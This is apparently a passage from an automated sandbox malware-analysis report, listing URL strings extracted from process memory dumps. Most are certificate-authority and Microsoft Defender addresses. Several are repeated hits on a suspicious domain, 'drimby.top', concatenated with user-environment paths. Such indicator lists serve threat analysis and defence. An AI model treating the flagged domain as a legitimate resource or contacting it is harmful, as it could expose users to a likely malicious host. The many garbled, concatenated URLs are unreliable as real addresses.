"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006336.00000000.86016.DB2B0000.00000004.mdmp") Found URL "https://drimby.top/wndfiallusersprofile=c:\programdataappdata=c:\users\wagmqxy\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00006336.00000000.86016.DCA70000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigiyh" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysil" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn^" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=1.3.6.1.4.1.311.10.1210316072924z0/^g(o-cejy" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://ound" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsa+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.micrault.hgura" - Source: "00000000-00006336.00000000.86016.F5030000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006336.00000000.86016.F5130000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdata\mwindowsta\mwindows:\windows\system32\windowspowershell\v1.0\powershell.exe:\programdata\microsoft\windows" - Source: "00000000-00006336.00000000.86016.F5430000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006336.00000000.86016.F5430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006336.00000000.86016.F5430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006336.00000000.86016.F5430000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007740.00000000.75087.10AC8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007740.00000000.75087.10AC8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00007740.00000000.75087.10AC8000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007740.00000000.75087.24902000.00000002.mdmp") Found URL "https://drimby.top/wndfi" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "https://drimby.top/wndfiationystem.threading.tasks.dataflowhttps://drimby.top/wndfiachine_configystem.web.razorebmatrix.dataormnfkd.nlpormnfkc.nlpwindowsexppbaseystem.web.httpppbaseeb.webpystem.web.webpagesormidna.nlpebmatrix.webdataystem.web.mvcap_stringtofileaystem.web.http.webhostt" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "https://drimby.top/wndfionedrive=c:\users\hapubws\onedriveprogramdata=c:\programdataprocessor_architecture=amd64programfiles=c:\program" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "https://drimby.top/wndfiappdata=c:\users\wagmqxy\appdata\roaminghomedrive=c:commonprogramfiles=c:\program" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "https://drimby.top/wndfi@<%gp>%g" - Source: "00000000-00007740.00000000.75087.4CF60000.00000004.mdmp") Found URL "https://drimby.top/wndfiicrosoft.powershell.consolehost," - Source: "00000000-00007740.00000000.75087.4D1B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007740.00000000.75087.4D1B0000.00000004.mdmp") Found URL "https://drimby.top/wndfiallusersprofile=c:\programdataappdata=c:\users\wagmqxy\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00007740.00000000.75087.4EB50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcwashington1redmond1microsoft" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=thawte," - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysil" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn^" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=hzv" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007740.00000000.75087.67160000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>120531151137z0/^g(o-cejy" - Source: "00000000-00007740.00000000.75087.67260000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007740.00000000.75087.67260000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00007740.00000000.75087.67260000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0o/>" - Source: "00000000-00007740.00000000.75087.67260000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007740.00000000.75087.67260000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportocalsettingoverridedisableearlylaunchantimalwareoftware\microsoft\windows" - Source: "00000000-00007740.00000000.75087.67560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007740.00000000.75087.67560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0jwashington1redmond1microsoft" - Source: "00000000-00007740.00000000.75087.67560000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00007740.00000000.75087.67560000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007740.00000000.75087.67560000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/detail02-mini.jpg" - Source: "00000000-00007804.00000000.74157.13AB0000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/detail01-mini.jpg" - Source: "00000000-00007804.00000000.74157.13AB0000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/egismail.sgic.co.kruser\s" - Source: "00000000-00007804.00000000.74157.13AB0000.00000004.mdmp") Found URL "http://www.w3.org/xml/1998/namespacemsitstore:c:\sgic_info.chm::/sgic_info.html" - Source: "00000000-00007804.00000000.74157.13AB0000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/common/images/exprtinstrimg/m_top_01.jpg);stylefont-size:12px;" - Source: "00000000-00007804.00000000.74157.178D0000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/common/images/exprtinstrimg/m_back.gif);styletext-align:left;" - Source: "00000000-00007804.00000000.74157.178D0000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/common/images/exprtinstrimg/m_tail.jpg);c(81h$c(pbu?da0?da0\6ip,z=gdy:bc((nh]6ip-z=g" - Source: "00000000-00007804.00000000.74157.178D0000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x86.cab" - Source: "00000000-00007804.00000000.74157.17990000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x64.cab" - Source: "00000000-00007804.00000000.74157.17990000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x86.exe" - Source: "00000000-00007804.00000000.74157.17990000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/h_logo-mini.gif);" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/bg_content.jpg)" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/h2_title-mini.jpg);" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/detail01-mini.jpg" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/ico_pw.png)" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/detail02-mini.jpg" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "https://play.google.com/store/apps/details?id=com.softforum.xemobile" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "https://itunes.apple.com/kr/app/xecureexpress-for-mobile/id839379759?mt=8" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/xem/img/indicator.gif);" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x86.cab" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x64.cab" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://reaver.softforum.com/xecuredemo/up/anysign_shkwon/xev/xev_install_x86.exe" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/common/images/exprtinstrimg/m_top_01.jpg);" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://egismail.sgic.co.kr/common/images/exprtinstrimg/m_back.gif);" - Source: "00000000-00007804.00000000.74157.17A40000.00000004.mdmp") Found URL "http://egismail.